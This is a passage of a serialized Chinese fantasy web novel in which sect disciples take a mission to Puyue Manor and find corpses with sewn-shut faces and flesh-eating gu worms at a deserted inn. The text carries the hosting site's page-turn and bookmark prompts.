微风拂过,吹起她斗篷上的黑色轻纱,露出隐藏其后的满头银丝,以及那一双宛如被雾气笼罩,仿佛刚刚淋过雨般湿漉漉的眼眸。 她一边哭泣着,一边跌跌撞撞地往前奔跑。 本小章还未完,请点击下一页继续阅读后面精彩内容!一方面害怕眼前人会拒绝她,另一方面又担心身后人会追上来将她带走。 “阿愿。” 沈亦行见状,只得无奈地伫立在原地,剑眉微微紧蹙,轻声呼唤了她一句。 当她听到自己的名字时,像是如梦初醒般,猛地止住了步伐。 随着她停下的动作,黑色的面纱也缓缓地滑落下来,重新遮住了她的面容,连着她眼眸中不断滚落的泪珠一并掩盖住了。 她如同犯了错一般,低垂着头,不敢抬眼直视前方。 就这样沉默地站立了好一会儿之后,她才转过身去,迈着缓慢的步子朝沈亦行走了过去,并主动伸出小手,紧紧地牵住了那个人宽厚温暖的手掌。 江洵自然也没有错过刚才那惊鸿一瞥——透过拂起的面纱,他清楚地看见了那张稚嫩的脸庞。 他几乎瞬间就想起来那孩子曾在何处见过。 说来也是奇怪,这几日只有在校场上能看到她的身影,而到吃饭的时候却又消失不见。 可带她来的沈亦行都不操心,他一个外人更没理由去多嘴问上一句。 “那孩子……好生眼熟。”秦在锦嘀咕道,方才他也只是匆匆瞅了一眼。 “是吗?要不抓回来给你近距离观察一二?”冬苓笑着调侃道。 秦在锦立马摆摆手,“可别,沈哥都走远了,就莫要再打扰人家了。” 江洵默不作声地看着江挽,那小孩刚才是在喊她吧?栖花里那日也是,一行人里,独独拽住了江挽的脚踝。 可江挽此时戴着白纱,看不出眼中的情绪。 上山途中,秦在锦边走边开口问道:“咱们下个任务去哪呢?” “哪个急去哪呗。”冬苓回。 江洵笑了一声,说道:“照你这么说,咱们现在就可以启程了。” 冬苓一听这话不乐意了,立马说道:“别呀,思糕坊的糕点还没吃够呢!” “对了,我师父此次跟咱们一起去。”江洵同走在前面的二人提了一句。 毕竟铁打的三人组如今突然多了个人,肯定得提前知会一声对方。 冬苓闻言,一脸严肃地看向江挽,拍了拍胸脯保证道:“姐姐放心!我会保护好你的!!” 这话说的江挽瞬间笑出了声,不仅没有扫她的兴,还顺着她的话接了下去:“好好好,到时候就仰仗女侠多照顾照顾我。” “放心!咱都是自己人!”冬苓得意地撅起了小嘴儿。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第120章 蒲月山庄 等江洵腿上的伤好的差不多的时候,一行人才收拾行李出门。 在山下饭馆儿吃饭时撞见了一阁的温如玉和傅霖等几位弟子。 “呦,吃着呢?” 温如玉挥挥衣袖示意那几个弟子先找位置坐下点菜,而他自己则十分自然地坐到了江挽这一桌。 “出来吃饭没带廷宽啊?” 方知许往一阁那桌望了过去,并没有瞧见许廷宽的身影,明明温如玉无论去哪那孩子都会跟在身侧的。 “生病了。”温如玉头也不抬地说道。 “真生病?”方知许眼底掠过一丝惊讶,一脸不信的样子。 怎得这么巧,这边生了嫌隙没几天,那边就生病了。 温如玉这才抬头看向方知许,笑的意味深长,“方方这话问的是什么意思?莫不是认为我私底下对徒弟用刑了?” 方知许听闻此言后,满脸无语地翻了一个大白眼给他,他分明担心的是许廷宽会不会背地里使什么小手段,这人什么脑子? 温如玉将目光投向正低着头默默吃饭的其他人身上,他突然察觉到一丝不对劲——吃饭的人数似乎变少了。 平日里总是围坐在一起的陈叔几人竟然不在这里,难不成这几个是背着他们偷摸出来开小灶儿? 不过仔细一想好像又不太对劲,江挽不像是这种人,她基本上很少来山下吃饭。 想到这里,温如玉忍不住开口问道:“你们这是准备出去做任务?” 然而这句话刚刚脱口而出,他便立刻意识到有些不妥之处。 若是真要出任务的话,为何会带上方知许? 要知道,凭方知许那点三脚猫的功夫,能起到什么作用? 莫非还指望靠他去把敌人给笑死不成? 江挽此时已经吃得差不多了,缓缓地放下了手中的碗筷。面对温如玉的疑问,她只是轻轻地点了点头,应道:“嗯。” “他也要跟着一起去啊?” 江挽知道温如玉想错了,但她却并未打算过多解释,继而一本正经地回应道:“没错,缺少一个活靶子,让他冲在前头正合适。” “那可使不得,我们方方可得好好活着,我再给你推荐个别的活靶子呗。”温如玉了然对面的人是在开玩笑,于是顺着她的话锋往下说道。 还不等江挽问他推荐谁,那人就把傅霖喊了过来。 “这小子前几日没打赢我,愣是生了几天闷气,三阁主帮忙带出去散散心呗。” “我什么......”傅霖刚想反驳就被温如玉一个眼神制止了。 江挽的目光在二人之间流转,而后又看向了江洵。 他那傻徒弟这会儿还只顾着吃呢!!!人白送上来的都不要。 “没问题。”江挽点点头应下了。 你不要,为师替你要。 等一顿饭吃完,几人就启程了,温如玉同方知许站在饭馆儿门口看着那几人的身影渐行渐远。 “你就这么急着把他往外推啊?”方知许问道。 “他若不愿去,哪怕我逼着他去,他也不会去。” 傅霖不是以前那个他让干嘛就干嘛的小娃娃了,这么些年来那人已经有了自己的底线和原则。 他若真的不想同江洵一起做任务,以他的性子会当场拒绝,可他没有。 “再说了!”温如玉收回视线,嘴角不经意上扬,一脸戏谑地看向方知许,继续说道:“他不走,我怎么跟你过二人世界啊!” “滚开,死断袖!”方知许嫌弃地向后退了一步。 “哦?等滚到你床上,你就老实了。” “在我跟前儿这么敢说,怎么到你徒弟那就怂了?难不成这就是传说中的''爱是小心翼翼''吗??” “喜欢还是明目张胆呢!我心悦你那么多年,你会不知道??” 温如玉看到方知许挥袖转身,立马凑了上去继续说道:“你的心是石头做的???快让我瞅瞅。” 方知许嫌弃地拍开那人摸过来的手,说道:“把手放干净点,我心上人金贵着呢,别给碰脏了。” “有多金贵?比我金贵?”温如玉撇撇嘴,揉了揉被拍红的手。 “贵死了!”秦在锦顿时收紧了自己的钱袋子。 青州的中律司与献岁山之间相隔不远,经过一路紧赶慢赶,几个人终于在夜幕降临之前顺利到达了目的地。 就在他们途经一个狭窄幽深的巷口时,却意外邂逅了一位正在兜售符纸的道士。 只见那人身着一袭飘逸的蓝色道袍,面容清癯,青丝盘起,举手投足间还真有几分仙风道骨之姿。 走在前方的秦在锦看到此人后,心中不禁一动,想到江洵那总是容易招惹邪祟的特殊体质,便抱着将信将疑的态度询问了几种能够驱邪的符纸。 他原本想着如果价格合适的话,不妨买上几张以防万一。 谁曾想,那道士竟然狮子大开口,一张符纸就要价一两银子! 听到这个离谱的价格,秦在锦忍不住翻了个大大的白眼。 招就招吧,左右招不到自己身上来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!对不住了,兄弟只能帮你到这儿了。 正当秦在锦准备转身离开的时候,一直沉默不语的傅霖突然出声说道:“拿十张。” 说着,他毫不犹豫地从怀中掏出银子递给了那个道士。 那道士见状,脸上立刻堆满了笑容,忙不迭地应声道:“还是这位小友识货啊!” 一边说着,一边迅速将十张符纸递到了傅霖手中,然后才喜滋滋地接过了银子。 站在一旁的冬苓看到这一幕,不禁感到十分诧异,她满脸狐疑地盯着傅霖问道:“霖哥儿,你用的着这玩意儿?” 面对冬苓的疑问,傅霖长长地叹了一口气,无奈地回答道:“霖哥儿也是人啊!” 其实不然,他确实不需要,但想到是跟某人一起做任务,他得需要! 与大陈其他各州相较而言,青州从占地面积来看,着实堪称面积最为狭小之州域了,故而建立于此地的中律司规模亦算不上宏大。 诚然,导致中律司规模较小的缘由,除了地域因素外,尚有另一方面不可忽视。 此地的黎民百姓但凡遭遇些许琐事纠纷,往往率先前往本地衙门寻求帮助。 若是衙门对此无能为力、无法妥善处理,这些百姓则会径直奔赴献岁山以求解决之道。 谈及中律司,当地民众对其的评价可谓是毫不留情——“无用!” 之所以如此评价,乃是由于就办事流程以及所需耗费的时间而论,中律司的工作效率毫无疑问要比他人落后一筹。 当中律司接收到来自百姓递交的状纸亦或由衙门转送而来的卷宗之后,首先要做的便是仔细核查事件的真实性。 待完成此项审核工作后,接着便需依据具体情况给该项任务评定等级,并设定相应的奖赏金额。 随后着手制作任务牌以及详细记录相关信息的任务书。 唯有当所有前期准备皆已就绪无误,方可将此任务公布于任务墙之上,静候有人前来认领承接。 然而,自有人领走任务直至任务执行人员最终抵达目的地并展开实际行动,此间又势必需要经历一段不短的时间间隔。 由于中律司分部本身就处于一个巨大的结界内,因此,其所设立的任务墙彼此之间也都是相互连通的。 也就是说,即便某项任务最初是由地处大陈王朝最北端的青州所发布,但在同一时刻,远在大陈最南端的南华城中律司依然能够清晰地将此任务展现出来。 如此一来,领取任务牌的人就极有可能来自五湖四海。 那么,与其在这里白白浪费如此漫长的等待时间,倒不如直接奔到献岁山,请求山上的那些弟子们亲自下山来帮助他们铲除邪祟。 就算为此需要花费一些钱财,他们心中也是完全乐意接受的。 此时,只听见南宫容若用她那轻柔温和的声音缓缓说道:“倘若诸位打算承接最为紧迫且急需处理的任务,那么依我之见,不妨前往蒲月山庄一试。” 听到这话,江挽不禁面露疑惑之色,随即将目光投向了位于角落处那个正闪烁着耀眼红光的牌子之上。 只见上面赫然标注着——乙级任务…… 蒲月山庄所处的位置恰好就在辛夷城与青州交界之处,而山庄背靠着鸣蜩山。 曾有消息称,蒲月山庄乃是靖王殿下的私人产业。 既如此,这次失踪案件的消息确实无误的话,那么靖王殿下为何不暗地派遣自己的人手去悄悄解决此事呢? 此等私人地界一旦暴露,岂不是接了任务的人都能去参观一眼? “记录员是谁?”江挽问道。 “额......” 南宫容若脸上露出一丝略显尴尬的笑容,她轻咳一声,然后缓缓地开口解释起来:“实在不好意思,目前中律司处于一个关键时期,正在对内部的人员分配问题进行全面的调整,同时还有一些相关的制度也要做相应的修改。” 换言之,关于记录员的安排,只有经过严格审查、确认身份毫无问题的记录员,才能够被分配到具体的任务当中。 而且最近这段时间,各种任务的数量一下子增多了不少,但记录员的人数却相对较少。 因此,中律司只能优先将记录员分配给初次执行任务并且任务等级为戊级别的弟子们。 这样一来,可以确保这些新入门的弟子们在执行任务时能得到更好的指导和监督。 至于那些已经有一定经验或者所在队伍中有前辈带领的任务团队,由于他们本身具备较强的应对能力,所以暂时就不再为其配置专门的记录员。 听到南宫容若的解释,江挽回应道:“无妨。” 蒲月山庄的任务只需四个人就能完成,然而江挽一行人有五个成员。 只见江挽利索地取下挂在墙上的任务牌,然后逐一递给其他四人。 她如今既不需要通过这个任务来提升排名,也并不在乎这个任务给予的奖赏,于是干脆不拿任务牌。 毕竟,只有拥有了任务书以及任务牌这两样东西,才能真正算得上是接下了这项任务。 本小章还未完,请点击下一页继续阅读后面精彩内容!如此这般,待到任务顺利结束之后,方有资格前去领取应得的奖励,并参与到任务榜的排名竞争之中。 若是没有以上这些,哪怕完成了任务,也不计入任何榜单。 “江阁主。”南宫容若款款走了过来,继续说道:“若是你与他们一同前往的话,我可以将任务人数给您修改为五人。” “不用麻烦,给我几只信号筒就好。”江挽说道。 江洵等人在任务牌的背面签上了自己的名字,等兑换到任务书以后才看到上面的内容。 怀德六年柒月初,蒲月山庄接连有百姓失踪,而在失踪后三日尸体又会出现在山庄门口,其死状恐怖,不似人为。 现将此案移交中律司,望派有能之士于柒月贰拾日前抵达蒲月山庄。此次任务奖励为:白银三十两、曼莎三十株、避尘珠十颗。 此次丙类多人协作任务如下: 其一:查明蒲月山庄百姓失踪死亡原因并保全余下百姓生命安危; 其二:此案若是人为谋害,需将其人押送至中律司审判,若非人者行凶可在溯源后由中律司人员判定其是否就地杀之。 其三:若此任务等级评判失误,还请道友量力而行,中律司会召集距此地最近并与之相匹配之人前去相助。 那么,祝各位道友此程平步青云,万事顺遂。 “蒲月山庄......好熟悉啊。”冬苓皱着眉头呢喃道,总觉得这名字听谁说过,可一时之间又想不起来到底是听谁说的。 秦在锦合上任务书,说道:“嗐!咱们亲眼去瞧瞧就知道了。” 几人从中律司出来的时候天都黑了,本想着赶夜路也用不了几个时辰,但是江洵执意不肯,“明天早上赶路也不迟,今晚都好好睡一觉。” 那么问题来了,开几间房呢。 一人一间房?未免有些奢侈了。 以往他们三人一同出门的时候,都是冬苓独自一间房,他同秦在锦凑合着睡一间。 如今五个人,冬苓和江挽倒还好说,可他们三人怎么分? 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第121章 没苦硬吃 “几位客官这来的也忒晚了点儿,目前小店就两间房了。”客栈的老板说道。 好嘛!这下不用愁着分房了,压根就没得分。 “那么问题来了,谁打地铺?”秦在锦看了眼另外俩人。 江洵打量了一下面前的这张床,睡俩人是没有问题的,但是依着秦在锦的性子,他肯定不会让傅霖睡在地上,毕竟他分的清自己人和“外人”。 那么能睡地上的人就只有他和秦在锦,如果秦在锦打地铺,那么睡床的就是他和傅霖。 江洵眼下自然是不愿意跟傅霖睡一块的,他还想今晚睡个好觉呢。 “给个准话啊,兄弟们,要不今晚我睡地上?”秦在锦说着就要去找掌柜的多要床被子。 “我睡。”江洵一把将秦在锦拉了回来,换他出去了。 秦在锦一脸疑惑地看着那人快步离开的背影,真是见了鬼了,往日都是抢着睡床的人怎得今日突然开始睡地上了? 良心发现? 不能吧。 良心这个东西,在他们洵哥儿身上,那可是时隐时现的。 傅霖踏入客栈之后便一言不发,他只是觉得这家店有些奇怪。 这里既非车水马龙、人声鼎沸的闹市街区,附近亦未曾听闻有任何庙会庆典正在举行,缘何这家客栈竟然会客满无房? 而且当他们经过其他几间客房时,他特意驻足倾听屋内动静,竟未捕捉到丝毫交谈之声传来。 诚然,此时已至夜深人静之际,多数旅人理应早已歇息入眠,可怎会如此凑巧,所有房客皆睡下了? 只见他行至床边手臂猛然发力,狠狠一拽,瞬间便将铺陈在床上的被褥与枕头尽数拖拽至地面。 一旁的秦在锦目睹此景,不禁瞪大双眼,满脸惊愕之色。 而傅霖却仿若未见般,一本正经地开口解释道:“天热,睡地上凉快。” 说罢,他自顾自地盘腿坐在被褥中间,双目微闭,似是准备就此就寝。 不是,兄弟!你想凉快你自己凉快不就好了? 你拉上我干嘛? 我是什么很怕热的人吗? 咱也没必要没苦硬吃是不是?? 可秦在锦敢怒不敢言,眼下江洵还没回来,他只能唯唯诺诺的说:“好的霖哥。” 而另一边的江洵在踏出房门之后没多久,便听到隔壁房间的冬苓呼唤他过去一叙。 江洵闻声快步走去,待到站在门口时,便瞧见那丫头正一脸肃穆地望着自己,“这客栈有些不对劲,你可得提醒锦哥儿晚上千万别睡得太沉。” 江洵听后微微点头,表示明白,接着开始仔细端详起这间屋子来。 单从屋内的布局来看,与他们所住的那间并没有太大差别,但当他将目光移至墙上悬挂着的那幅山水画时,心中不禁涌起一股异样的感觉。 不知为何,这幅画总给他一种不太舒服的视觉体验。 冬苓见江洵已大致了解情况,又不放心地多叮嘱了两句,这才挥手示意让他离开。 江洵手里拿着刚刚领取到的床褥和被子,转身推开房间的门,然而映入眼帘的却是令他不解的一幕——只见那两人双双都躺在地上。 此情此景着实让江洵摸不着头脑,满心疑惑地开口问道:“不睡床?” 这时,秦在锦撅起小嘴,嘴里嘟囔着回答道:“霖哥说地上比较凉快。”说话间,还不忘朝身旁的人努了努嘴。 江洵顺着她的目光看去,恰好与那位当事人四目相对。 就在那一瞬间,两道视线交汇在一起,仿佛时间都为之凝固。 不过仅仅片刻功夫,两人不约而同地迅速将目光转向其他地方,似乎都有些不好意思继续对视下去。 “那我睡床了。”江洵二话不说的就把被子放了上去,然后被秦在锦怒气冲冲的扯了下来。 说好了一起吃苦,凭什么你自己享福???? 都给我睡地上!!! 江洵“啧”了一声,不明白这人在闹什么脾气,刚想说他两句的时候就看到了那幅挂在他们房间的山水画。 这幅画虽然和江挽房间的那幅并不相同,但单从画风来看,应该是出自同一人之手。 “苓儿让你今晚别睡太沉。” 江洵话音刚落,只见他右手轻轻一挥,刹那间,房间里原本摇曳闪烁的烛光像是受到了指令一般,齐刷刷地熄灭了。 借着月光,江洵动作轻柔地躺到了秦在锦的左边,而秦在锦的另一侧躺的是傅霖。 如此这般,即便秦在锦晚上睡的沉,一时半会醒不来,应该也不会遭遇什么危险。 毕竟,无论是他还是傅霖,都是睡眠很浅的人,稍有一丝风吹草动便能立刻醒来。 然而,秦在锦的耳边却清晰地回荡着冬苓那句“今晚别睡”的话语。 她这句话什么意思?难道说今晚有事找他? 带着满心的疑惑和不解,秦在锦强忍着困倦,努力不让自己合上双眼。 时间悄然流逝,不知又过去了多久,就在秦在锦感觉自己再也支撑不住、即将睡去的时候,突然间,一阵轻微的脚步声传入了他的耳中。 本小章还未完,请点击下一页继续阅读后面精彩内容!那声音虽然很轻,但在这寂静的深夜里显得格外清晰。 秦在锦如同触电一般,瞬间从床上坐直了身子。 冬苓来寻他了? 想到这里,他不禁担忧起来,冬苓是不是遇到什么难事儿了? 可是很快,他就察觉到有些不对劲——冬苓的房间明明是在他们的左边,可此时传来的脚步声分明是从右边的走廊传过来的。 就在他陷入沉思之际,那扇并未上锁的窗户突然发出一阵轻微的“吱呀”声响,被风吹动了。 秦在锦闻声而动,下意识地将目光投向那个方向,然而映入眼帘的景象却令他瞬间毛骨悚然。 只见一个身影倒挂在他们的窗户处,那人头发凌乱不堪,肆意垂落着,已然没有了生命气息。 更为诡异的是,这个人的死状极为奇特,其眼睛、鼻子以及嘴巴竟然全都被密密麻麻的黑线紧紧封住,不留一丝缝隙。 而那双耳朵也同样未能幸免,不知被谁塞上了两团洁白的棉花。 秦在锦见状,喉咙里刚刚涌起的惊叫声戛然而止。 一种莫名的恐惧如潮水般涌上心头,让他的双腿如同被钉在了地上一般,无法挪动分毫。 本能告诉他应该上前看一眼,可身体却很诚实的罢了工。 正当他仍被困于这种极度恐慌之中尚未回过神来的时候,一阵沉闷的敲门声骤然响起,打破了屋内令人窒息的寂静。 与此同时,房间内的另外两人也被这突如其来的响动惊醒。 “天老爷!你不好好睡觉站这干什么??” 江洵睁开双眼,一眼便瞧见站在身前,满脸惊惧之色的秦在锦。 即便是拥有再好的心理素质,眼前的情景还是让他不由得倒吸一口凉气。 然而,还不等他这口浊气彻底呼出,他的目光便不由自主地顺着秦在锦那惊恐万状的视线移动过去。 下一秒,他的瞳孔急剧收缩,整个人都僵在了当场——他看到窗户外面,正倒挂着一具残缺不全的尸体。 “这他娘的什么东西?”傅霖直接坐起身来。 “咚——” 敲门声再次响起,只是这次敲的是隔壁的门。 江洵召出献岁,二话不说就要出去。 “你做什么?”傅霖急忙拉住了那人的胳膊。 “去看一下我师父。” “你师父用得着你操心?”傅霖想也没想的就回道,但显然这句话换来了江洵的反感。 只见那人眼底闪过一丝厉色,低声道:“我操心谁,干卿何事?” 江洵打算甩掉傅霖的手,但那人抓得紧,还愣是没有一点想要放手的意思。 在江洵刚想问他什么意思的时候,傅霖平静地说道:“你跟秦在锦在这儿守着这个尸体,我去。” 傅霖根本没有留给江洵丝毫思考的余地,几乎就在松手的瞬间,便迅速移动到了房间门口。 他小心翼翼地伸出右手,轻轻地握住门把手,然后缓缓地转动着,只稍稍打开了那么一点点门缝。 接着,像只警觉的猫一样,把脑袋慢慢地探出门缝,试图向外张望一番。 此刻正值深夜时分,走廊里漆黑得犹如无底深渊,就连一丝微弱的月光都无法渗透进来。 四周一片死寂,仿佛整个世界都被黑暗吞噬殆尽,让人毛骨悚然。 傅霖眯起眼睛,努力想要看清门外究竟是什么情况,但眼前却只有无尽的黑暗,什么都瞧不真切。 无奈之下,他只能将门缝再开大一些。 随着门缝逐渐变宽,一股阴冷的气息扑面而来,让他不禁打了个寒颤。 就在这时,一阵轻微而又诡异的窸窸窣窣声突然传入了傅霖的耳朵。 那声音听起来像是有人在用衣物摩擦着墙壁,时断时续,令人心生寒意。 傅霖心头一紧,连忙侧过头,朝着发出声响的一侧墙壁望去。 这不看不知道,一看吓一跳——只见一个身影正紧贴着墙壁,与之前所见到的那具尸体简直如出一辙! 这是个人?? 还是个活人??? 傅霖瞪大了双眼,难以置信地盯着眼前的景象。 这个人虽然模样与那具尸体极为相似,但明显还有着微弱的气息。 所以傅霖既感受不到对方身上的灵力,也觉察不出丝毫怨气。 仔细观察之后,傅霖才发现那个人并非是在敲门,而是在用自己的头部撞击着墙壁,恰好撞到了门上。 由于双目失明且双耳失聪,此人似乎完全失去了对外界的感知能力。 他的嘴巴被密密麻麻的线头紧紧缝合起来,以至于连正常的呼吸都变得异常艰难。 傅霖小心翼翼地将门缓缓推开,然后往旁边让开一步,给那个人留出足够的空间。 只见那人畏手畏脚、磨磨蹭蹭地沿着墙壁一点点挪动脚步,仿佛生怕碰到什么似的,好不容易才挤进了房间里。 与此同时,另一边的秦在锦早已手脚麻利地把挂在窗户上的尸体放了下来。 待他们将房间里的蜡烛点亮之后,这二人的面容才看得更为清晰些。 本小章还未完,请点击下一页继续阅读后面精彩内容!仔细观察一番,从他们身上所穿的衣物判断,这两人应当都是本地的普通百姓。 傅霖心里很清楚,以秦在锦和另外一人的能力,处理眼前这种状况完全不在话下。 于是,他没有过多停留,转身朝着江挽所在的房间走去。 正当他抬起手准备敲门之时,房门却突然从里面被打开了。 “霖哥?” 冬苓见到门外站着的竟然是傅霖,脸上不禁露出一丝诧异之色,显然对他此时的出现感到有些意外。 傅霖也不多寒暄,直截了当地开口问道:“你们这边有没有听到什么特别的动静?” 冬苓闻言,侧过身子,用手指向屋内,示意傅霖朝里面看去。 果然不出所料,她们房间的窗户外面,同样也倒挂着一具尸体。 这时,房间里传出了江挽那一贯清冷的嗓音:“别让江洵他们乱动尸体。” 顺着声音望去,只见江挽正静静地站立在那幅诡异的画作之前,既像是在欣赏,又好似正在仔细揣摩其中蕴含的深意。 “天老爷!!!这......这这什么啊!!!!!”隔壁传来了秦在锦的惊呼声。 江挽叹了口气,看来还是提醒晚了。 等三人来到这个房间的时候,映入眼帘的已经是两具尸体了。 方才进屋的那个人,秦在锦还没来得及救下他,就没了呼吸。 秦在锦皱起眉头,小心翼翼地伸出手,轻轻掀开盖在那两具尸体上的衣物。 当衣物被揭开时,他不禁倒吸一口凉气——眼前所见之人竟如此消瘦! 他们身上某些部位甚至只剩下薄薄的一层皮紧贴着骨头,仿佛风一吹就能将其吹散。 回想起方才抬起这些尸体时的情景,秦在锦当时只觉得他异常轻盈,但由于情况紧急,并未有时间深思其中缘由。 当他仔细检查到尸体的腹部位置时,心中突然升起一股异样的感觉。 这人已经死去多时,但其腹部却依然有着轻微的起伏动作。 可这种起伏显然并非正常人呼吸所导致。 更确切地说,它给人的感觉就好像有某种活物正在这人的肚子里面来回爬行一般。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第122章 秋在枝头 秦在锦心头一紧,连忙从怀中掏出火折子,重新点燃了一根蜡烛。 微弱的烛光照亮了四周,让他能够看得更清晰些。 随着烛光靠近尸体的腹部,只见那原本苍白的皮肤上,正有几条长长的虫子在下面穿梭往来、不停蠕动。 这些虫子的形状怪异非常,既有点像常见的蚯蚓,身体细长且柔软;但同时又带有几分蜈蚣的特征,有着数不清的腿。 就在这时,一个清冷的声音传入秦在锦耳中:“食人蛊。” 他转头看去,原来是江挽不知何时已来到了尸体跟前,并蹲下身子观察起来。 据江挽所言,此种虫子生性凶残至极,尤其喜爱以人肉为食。 它们初始之时体型极小,犹如蚂蚁般微不足道,但随着吞食人肉数量的增多,其身躯便会不断膨胀变大。 起初的时候,或许人们根本难以察觉到异常情况的存在。 毕竟这蛊虫非常狡猾和聪慧,它总是静静地躲在某一个固定的位置,悄然无声地潜伏着。 并且每次进食时,它所摄取的量也相当有限,并不会引起人们太多的注意。 当人体开始感受到隐隐作痛之时,最初往往都仅仅认为那不过是普通的蚊虫叮咬罢了。 可是随着时间的推移,这虫子的胃口变得越来越大。 渐渐地,那种疼痛不再局限于局部,而是逐渐蔓延至全身各个部位。 此时,即使想要找出导致身体不适的根源所在,却也是无从下手,因为表面上根本看不出任何明显的病因或伤口。 倘若能够及早地发现异常,并成功探寻到蛊虫隐藏的栖息之所,然后设法将其引诱出来并予以消灭,那么受害者或许尚有一线生机。 可如果发现得太迟,那么后果只有等待死亡降临这一条绝路可选。 不过,眼前的这几具尸体却呈现出一种不同的状况。 先暂且不论这些人体内的蛊虫究竟是否属于传说中的食人蛊,单单是看到这人被严密封印住的五官,就足以让人感到匪夷所思。 这绝非是意外,而是人为。 这歪曲的针脚更像是趁人清醒之时,一针针缝上去的。 只不过眼下,他们明日还是前往蒲月山庄,这个案件的调查工作也不得不暂时搁浅下来。 江挽让江洵去通知客栈的老板,让他明日一早就将此事上报给中律司。 这案子极有可能涉及到鸣蜩山的蛊虫,所以不能交给衙门管,给中律司处理是最稳妥的选择。 江洵来到老板房前,抬起手轻轻敲了敲门。然而,等待片刻后,屋内却毫无动静传来。 一开始,江洵心想也许是屋里的人睡得太沉,所以才没能听到敲门声。 于是,他稍稍加重了敲门的力道,但结果依然如故,仍旧无人前来应门。 过了许久,江洵的耐心逐渐被消磨殆尽。 终于,他忍无可忍,抬脚猛地一踹,房门应声而开。 他大步迈进房间,目光迅速扫视四周,房间内根本不见老板的身影,不仅如此,那敞开的衣柜此刻空空如也。 这情形让江洵心中一沉,一个不好的念头涌上心头——老板跑路了? 与此同时,秦在锦和傅霖则在另一边忙着依次敲响其他几间客房的房门。 每一次敲门声都如同石沉大海般,得不到丝毫回应。 秦在锦不禁开始怀疑起来:这些房间莫非都是无人居住的空房? 正当他觉得自己可能被那位老板欺骗之时,身旁的傅霖突然伸手推开了其中一扇房门。 房门缓缓开启,一股寒意扑面而来。两人定睛一看,顿时倒抽一口凉气。 只见房间内那张宽敞的大床上,整整齐齐地摆放着一具具尸体!这些尸体面容安详,仿佛只是沉睡过去了一般。 但那毫无生气的模样以及被封闭的五官,无不昭示着他们早已失去生命。 也就是说,从一开始,这家客栈除了老板之外,仅有他们五个人活着住在这里。 而那些所谓的“空房”,实际上都已被一具具尸体所占据。 想到这里,秦在锦只觉毛骨悚然,不寒而栗…… “为何不让动尸体?”他问向一旁的江挽。 “因为不清楚一具尸体内到底有多少只食人蛊,如果稍有不慎让其跑了出来,那么蛊虫则会改变觅食目标。” 毕竟谁也无法预料到它们下一步的行动。 “可是以它如今的体型来看,先不提是否容易被人发现,就算一时疏忽大意给了它可趁之机,但想要不知不觉钻进人的体内恐怕也并非易事吧。” 听到这里,秦在锦不禁提出了自己心中的疑惑。 江挽无奈地轻笑一声,解释道:“难道你认为它们不会繁殖吗?” 随即,她伸手指向身后的另一具尸体,接着说道:“最初仅仅只有一只蛊虫钻进了这具尸体内,但你猜猜看,如今里面又有多少只呢?” 秦在锦顺着江挽所指的方向望去,脑海中不由自主地浮现出无数蛊虫在尸体中蠕动的画面,顿时感到一阵恶寒,忍不住伸手摸了摸自己的胳膊。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!尽管此时正值炎热的夏季,但他却感觉浑身的汗毛都竖了起来。 这时,一直沉默不语的江洵开口问道:“既如此,这些尸体要如何处置?” 江挽稍稍思索了片刻后回答道:“蛊虫在人死亡后的六个时辰之后,也会相继死去。它们并不食用腐败的肉类,所以要等蛊虫彻底饿死以后,再去处理尸体。” 几人如今哪还有睡觉的心思,连夜写信,将今晚在这家客栈遇到的事情简要的陈述一遍,投递到中律司以后,才继续启程赶往蒲月山庄。 天亮之时,几人来到了山庄的入口。 这座山庄种满了各式各样的花卉,房屋的屋顶覆盖着青瓦,墙壁上爬满了绿色的藤蔓。 而最为引人注目、令人眼前一亮的,当属那几棵郁郁葱葱、枝繁叶茂的栾树了。 此时正值栾花绽放之际,繁茂的绿叶之中点缀着星星点点的粉色与黄色花包,远远望去,宛如一幅色彩斑斓的画卷。 山庄的四周环绕着好几亩肥沃的良田以及成片的果树,从这处望去,还能看到正在田间劳作的几人。 就在这时,一名路过的侍女发现了这一行人,她连忙加快脚步,迎上前去。 只见这名侍女身姿轻盈,面容姣好,举手投足间尽显优雅气质。 待走近之后,她微微欠身,用轻柔婉转的声音轻声细语地询问道:“请问诸位可是接到任务,赶来此处祛除邪祟的?” 站在队伍前方的秦在锦闻言点了点头,回答道:“正是。” 那小姑娘得到肯定的答复后,原本平静的眼眸瞬间亮了起来。 紧接着,她微笑着向众人做了一个请的手势,然后转身引领着他们往庄内走去。 一边走着,一边向众人介绍着山庄的情况。 据她说,整座山庄里拢共居住着一百多口人。 这些人中,有的在前厅负责侍奉客人,有的则在后厨帮忙打杂,还有些专门负责跑腿办事或者养护花草树木、耕种田地等等工作。 虽然大家都住在同一个地方,但由于各自承担的职责不同,平日里白天很少能够碰上面。 也正因如此,当初有人失踪的时候,并没有引起太多人的关注。 直到隔壁镇前来送菜的农户嚷嚷着说在山庄门口发现了尸体,他们才将发觉这几日失踪的人数有些多,而且多半是凶多吉少了。 原本众人都想着要去官府报案,毕竟发生这样诡异的事情,不报官似乎有些不妥。 然而,庄主却摇了摇头,一脸凝重地表示此事颇为蹊跷,恐怕报官也难以解决问题,倒不如直接将其交由中律司处理更为妥当。 几人一路交谈着的,不知不觉间已经走到了一间屋子前面。 只见那位侍女轻手轻脚地上前,先是十分小心地轻轻叩响了房门,然后恭恭敬敬地开口说道:“庄主,前来除祟的客人们已经到了。” 屋内很快传来了一个女子清冷的声音:“带到茶室,我稍候就到。” 得到指示后的侍女连忙应道:“是。” 接着她转过身来,引领着众人朝着茶室走去。 一路上,不时有一些充满好奇心的侍女和小厮从各个角落探出头来,向这边张望个不停。 没过多久,一行人终于走到了茶室。 刚一进门,就看到又有几位侍者鱼贯而入,每个人手上都捧着精致的糕点以及新鲜的水果。 如此高规格的款待,让秦在锦和江洵二人面面相觑。 知道的是来做任务的,不知道的还以为是来做客的。 大约过去了半炷香之后,庄主方才慢悠悠地现身。 即便是那几位见识过诸多人物的人,在看到眼前这位女子面容的时候,也情不自禁地眼睛一亮。 只见来者身穿着一袭如同月光般皎洁的常服,一头如瀑布般垂落的乌黑青丝被随性地盘在脑后。 她并未涂抹任何脂粉,但那张天生丽质的面庞依然令人感到心旷神怡。 “在下蒲月山庄的庄主——栾华。接下来几日,诸位有任何方面的需求,尽可提出,在下会尽力满足大家所需。” 